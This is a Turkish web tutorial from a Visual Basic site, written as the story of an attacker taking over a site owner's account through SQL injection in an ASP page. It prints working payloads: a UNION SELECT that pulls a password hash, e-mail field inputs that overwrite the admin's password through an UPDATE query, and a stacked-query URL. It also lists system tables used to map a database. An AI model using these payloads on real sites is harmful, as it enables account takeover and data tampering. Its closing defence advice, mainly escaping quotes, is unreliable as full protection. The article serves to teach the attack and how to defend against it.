Favorilerine Ekle | Giriş Sayfan Yap | Tavsiye Et

 

Kurs Tanıtım Sayfası | Süper Üye Kimdir? | Menü Tasarımı Konulu Örnek Ders
Kod İndir| Hazır Kodlar | Makaleler| İpuçları | VB .NET Kursu | Dersler | Forum | Alt Bölümler | Servisler
    Merhaba Misafir
    anasayfa » visual basic makaleleri » Hack Günlüğü - UPDATE SQL Injection
Üye Girişi
Kullanıcı Adı:  
Şifre : 
Kaydet ?
Siteden tam olarak faydalanabilmek için üye olmalısınız.
Unuttuğunuz şifrenizi öğrenebilmek için kayıt sırasında verdiğiniz Hatırlatma Cevabı'nı bilmeniz gereklidir.
Şifre hatırlatma işlevini sadece 3 defa kullanma hakkınız vardır.
Kullanıcı adını ve şifresini unutan üyelere email ile yardım verilmez.

Aktivasyon Gelmedi mi?Aktivasyon mesajınız email adresinize gelmedi mi?
Buraya tıklayarak bir kez daha aktivasyon mesajı gönderilmesini sağlayabilirsiniz.
Lütfen email hesabınızın BULK ve SPAM klasörlerini de kontrol ediniz.
Rastgele Makale

Sistem Klasörlerini Öğrenmek

Yazar: Webmaster

Webmasterlar
Sitenize Ekleyin!
Sitenizde "Son Eklenen 10 Visual Basic Yazısı"'nı göstermek ve içeriğini zenginleştirmek için buraya tıklayınız.

Vbasicmaster.com'a link verin!
Aşağıdaki minik banneri sitenize eklemek için tıklayın!

Üye Sayısı:
Ziyaretçiler nerede?
Yayın № : 5247
Yayın Tar:05.12.2005
Yazar : clairvoyant
Hit :9405

Bu Yazarın Yazıları Sadece bu yazarın  göster
Bu Yazıyı Tavsiye Et

1. Giriş
Eğer SQL Injection' ın ne olduğunu bilmeyenler varsa, daha önceden yazmış olduğum ve http://www.vbasicmaster.com/vbbilgisi.asp?id=5203&type=mak adresindeki yazıyı okusunlar. Burada yazacaklarım o yazının devamı niteliğinde olacak.

2. Update ve SQL
Update SQL' e ait bir komuttur. Tablo satırlarında güncelleme yapmak için SQL?de UPDATE komutu kullanılır. Temel bir update query' sinin yazılış formatı şu şekildedir;

UPDATE tablo_adı SET alan1='değer1',alan2='değer2',alan3='değer3',...,alanN='değerN' WHERE kriter1='kriter1' [AND][OR] kriter2='kriter2' [AND][OR] kriter3='kriter3' [AND][OR] kriterN='kriterN'

Yani yukarıdaki cümlede kısaca tablo_adı isimli tablodaki istenen kriterlere uyan satırların alan1,alan2,alan3,...,alanN isimli alanlarına karşılarındaki değerleri yerleştir diyoruz:]

3. UPDATE ve SQL Injection
Aynı senaryodan devam edelim... Adamımız deadlock bir süre sonra siteye tekrar girer ve kendisini sinir eder site içeriğinin yenilendiğini ve Holyone' un aynı terbiyesizliklere devam ettiğini görür. Daha önceden yaptığı gibi Holyone' ın şifresini bulmak için hali hazırda bulundurduğu SQL injection satırını browsera yazar;

http://www.hedefsite.com/userinfo.asp?ID=0 union select USERNAME,USERNAME,PASSWORD from members where ID=1


Oops bir sorun var, aşağıdaki gibi bir görüntüyle karşılaşır;


İsim: Holyone
Soyad: Holyone
E-posta: d4dd79d98929717f0907e7057938d6b8


E-posta' nın olması gerektiği yerde deadlock' ın SQL injection satırı sayesinde hala şifre var ancak, deadlock Holyone' un şifreyi şifreleyerek veri tabanına kaydettiğini anladı ve hiç istisnasız bu hash'e bakarak kullandığı şifreleme yönteminin MD5 olduğunu farketti

3.1. MD5 şifreleme yöntemi
MD5 (Message-Digest algorithm 5) Ronald Rivest tarafından 1991 de bulunmuş 128 bitlik bir şifreleme yöntemidir. Tek taraflı bir şifreleme demektir. Yani kısacası Md5 ile şifrelenen bir metin deşifre edilemez Bir login ekranında kullanıcının yazdığı şifrenin doğruluğu, md5 ile hashlendikten sonra veri tabanındaki değere eşit olup olmadığına bakılarak kontrol edilir. MD5 ile ilgili ayrıntılı bilgiyi http://en.wikipedia.org/wiki/MD5 adresinde bulabilirsiniz.

3.2. deadlock Ne Yapar? (1. Yol)
deadlock Md5 i deşifre etmeye çalışmicak çünkü bunun yüzyıllar alabileceğini bilio. Ancak o farketti ki hala SQL Injection açığı mevcut ve Holyone bunu farketmemesine rağmen MD5 ile güvenliğini sağlamaya çalışmış.

deadlock' ın yapması gereken Holyone ' un kullanıcı şifresini bulmak değil, şifresini istediği bir şifreyle değiştirmek

Önce deadlock Holyone' ın sitesine üye olur. Üye olduktan sonra Holyone' ın üyelerin profillerini değiştirmeleri için yapmış olduğu sayfaya gider ve aşağıdaki gibi bi görüntü görür;

İsim: Dead Lock
Şifre:
Şifre (Onay):
E-posta: deadlock@deadlock.com

Bunların textbox içinde olduğunu düşünün ve altlarında da "Güncelle" isimli bir button olduğunu varsayın. Bu sayfanın amacı kullanıcının kendisine ait olan bilgileri değiştirmesini sağlamak. Deadlock E-posta alanını deadlock@deadlock.com' olarak değiştirir ve Güncelleye basar. O da ne, sayfa hata verdi;

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression ''d4dd79d98929717f0907e7057938d6b8'',EMAIL='deadlcok@deadlock.com' where ID=1024'.


Oh my hack!:] Deadlock SQL cümlesini görür gibi;

UPDATE members SET NAME='Dead Lock',UPASS=''d4dd79d98929717f0907e7057938d6b8',EMAIL='deadlock@deadlock.com' WHERE ID=1024

Tahmin ettiği gibi şifresi MD5 ile şifrelenmiş ve kullanıcı ID' si 1024 olan kullanıcının bilgileri değiştiriliyor, yani kendisnin. Ama deadlock bu cümleyi ' kullanarak bozdu.

Peki deadlock bilgilerini şu şekilde doldursa ne olurdu?

İsim: Dead Lock
Şifre:
Şifre (Onay):
E-posta: deadlock@deadlock.com' WHERE ID=1;--

O zaman SQL cümlesi şu hale gelirdi;

UPDATE members SET NAME='Dead Lock',UPASS=''d4dd79d98929717f0907e7057938d6b8',EMAIL='deadlock@deadlock.com' WHERE ID=1';--WHERE ID=1024

Ama aslında -- SQL de yorum başlandıcıdır ve ondan sonraki karakterlerin koda hiçbir etkisi yoktur. Yani cümlemiz aslında şu;

UPDATE members SET NAME='Dead Lock',UPASS=''d4dd79d98929717f0907e7057938d6b8',EMAIL='deadlock@deadlock.com' WHERE ID=1

1 kimin ID' si hepimiz bilioruz, Holyone' ın ve bu SQL cümlesi Holyone' ın şifresini ve bazı bilgilerini daha bizim şifremize update etti. Geçmiş olsun Holyone...

Deadlock çok insaflı; istese WHERE ID=1 kısmını kullanmazdı, o zaman ne olurdu? Holyone' ın sitesindeki 1000lerce üyenin şifresini kendi şifresiyle değiştirirdi. Brrr...

3.3. deadlock Ne Yapar? (2. Yol)

Bilgilerini aşağıdaki gibi de değiştirebilir;

İsim: Dead Lock
Şifre:
Şifre (Onay):
E-posta: deadlock@deadlock.com',UNAME='Holyone

O zaman SQL cümlesi ne hale gelir bakalım;
UPDATE members SET NAME='Dead Lock',UPASS=''d4dd79d98929717f0907e7057938d6b8',EMAIL='deadlock@deadlock.com',UNAME='Holyone' WHERE ID=1024

Bu sefer kullanıcı adını Holyone yaptı, eğer kullanıcı adı primary key olarak tanımlanmadıysa sistem buna izin verir ve sistemde iki adet Holyone olur ve deadlock sistemin zayıflığı ölçüsünde ilginç şeyler yapabilir...

3.4. deadlock Ne Yapar? (3. Yol)
Eğer SQL Server kullanılmışsa, bunlarla hiç uğraşmaz ve şu adres satırını browsera yazar;

http://www.hedefsite.com/userinfo.asp?ID=137; update members set UPASS='d4dd79d98929717f0907e7057938d6b8' where ID=1

Geçmiş olsun Holyone...deadlock DELETE veya TRUNCATE yerine sadece UPDATE kullandığı için Holyone yatıp kalkıp dua etsin:]

4. Ek: Sistem Tabloları
Daha önce anlattığım tablo isimlerini ve alan adlarını tahmin etmekle ilgili kısmı hatırlayanlar için aslında buna gerek olmadığını eklemek istedim. Aşağıdaki sistem tabloları sayesinde veri tabanı hakkında bilgi toplayabilirsiniz;

4.1. MS SQL Server
sysobjects (Mesela select * from sysobjects gibi bi sorgu deneyin , bakın ne oluyor)
syscolumns

4.2. MS Access Server
MSysACEs
MSysObjects
MSysQueries
MSysRelationships

4.3. Oracle
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CONSTRAINTS
SYS.USER_TRIGGERS
SYS.USER_CATALOG

5. Nasıl korunuruz
-Post edilen tüm datayı kontrol eden ve zararlı karakterleri ayıklayan bir alt program yazın
-Tablo isimlerinizin başına alias dediğimiz şeyler ekleyin; Yani ?users? diye çok genel bir tablo ismi kullanmak yerine ?fb_users? gibi isimler kullanın
-www.adres.com/userinfo.asp?ID=1 gibi bir adreste almış olduğunuz ID değerini kontrol edin. Sayısal bir değer bekliyorsanız, sayısal bir değer aldığınızdan emin olun.
-Her zaman aldığınız değerlerdeki tehlikeli karakterleri sorgulayan bir alt program yazın.
-Biraz zor ancak search engine friendly dediğimiz sisteme yönelerek sitenizi oluşturun. www.adres.com/userinfo.asp?ID=1 yerine www.adres.com/userinfo/1 gibi bir yapıdan bahsediyorum. Apache? de mümkün ama IIS? te olmaz (yeri gelmişken söliim:])

Sonuç
SQL Injectionların temel sebebi kullanıcının yolladığı bilgideki zararlı karakterleri kontrol etmemektir. Her zaman -en azından- ' karakterini replace(data,"'","''") ile temizleyin.

clairvoyant




Yorumlar, eklemeler ve düşünceler
        Özgür bu seriyi devam etirirsin umarım çok güzel gidiyor tebrikler
holy'nin deadlock'la işi zor görünüyor (:

   zombi, 05.12.2005 22:03
   guzel devamı yok mu

   physical, 09.12.2006 13:55
   güzelll ama yinede kaydetitityoruz siz sağ tuşu calıştırmasınız da :)

   alfozo, 15.12.2007 18:25
© Hakan Ersöz 2000-2013| Üyelik Sözleşmesi | | Ödeme Bildirimi
Sitemizden yenilikleri hemen öğrenin, pop upları engelleyin, chat yapın... ToolBarımızı indirin:
Vasicmaster Toolbar'ı indirin